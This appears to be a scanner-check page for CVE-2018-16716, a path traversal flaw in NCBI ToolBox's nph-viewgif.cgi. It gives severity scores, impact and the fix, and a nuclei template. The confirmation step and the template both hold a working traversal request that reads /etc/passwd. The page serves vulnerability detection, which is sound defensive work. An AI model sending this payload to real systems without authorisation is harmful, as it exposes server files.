NCBI ToolBox - Directory Traversal

criticalseverity

9.1CVSS score

8.6%likelihood of exploitation, next 30 days

95%of all CVEs are less likely

Readycheck to confirm it

NCBI ToolBox 2.0.7 through 2.2.26 legacy versions contain a path traversal vulnerability via viewcgi.cgi which may result in reading of arbitrary files (i.e., significant information disclosure) or file deletion via the nph-viewgif.cgi query string.

Impact

An attacker can view, modify, or delete sensitive files on the server, potentially leading to unauthorized access, data leakage, or system compromise.

Fix

Apply the latest patch or update from the vendor to fix the directory traversal vulnerability in the NCBI ToolBox.

How to confirm it

Send: GET {{BaseURL}}/blast/nph-viewgif.cgi?../../../../etc/passwd
Positive when: matches /root:[x*]:0:0/ AND status 200

Run it with nuclei: nuclei -id CVE-2018-16716 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2018-16716

info:
  name: NCBI ToolBox - Directory Traversal
  author: 0x_Akoko
  severity: critical
  description: NCBI ToolBox 2.0.7 through 2.2.26 legacy versions contain a path traversal vulnerability via viewcgi.cgi which may result in reading of arbitrary files (i.e., significant information disclosure) or file deletion via the nph-viewgif.cgi query string.
  impact: |
    An attacker can view, modify, or delete sensitive files on the server, potentially leading to unauthorized access, data leakage, or system compromise.
  remediation: |
    Apply the latest patch or update from the vendor to fix the directory traversal vulnerability in the NCBI ToolBox.
  reference:
    - https://github.com/grymer/CVE/blob/master/CVE-2018-16716.md
    - https://nvd.nist.gov/vuln/detail/CVE-2018-16716
    - https://github.com/ARPSyndicate/kenzer-templates
    - https://github.com/grymer/CVE
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
    cvss-score: 9.1
    cve-id: CVE-2018-16716
    cwe-id: CWE-22
    epss-score: 0.0857
    epss-percentile: 0.95114
    cpe: cpe:2.3:a:nih:ncbi_toolbox:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: nih
    product: ncbi_toolbox
  tags: cve,cve2018,ncbi,lfi,nih,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/blast/nph-viewgif.cgi?../../../../etc/passwd"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:[x*]:0:0"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from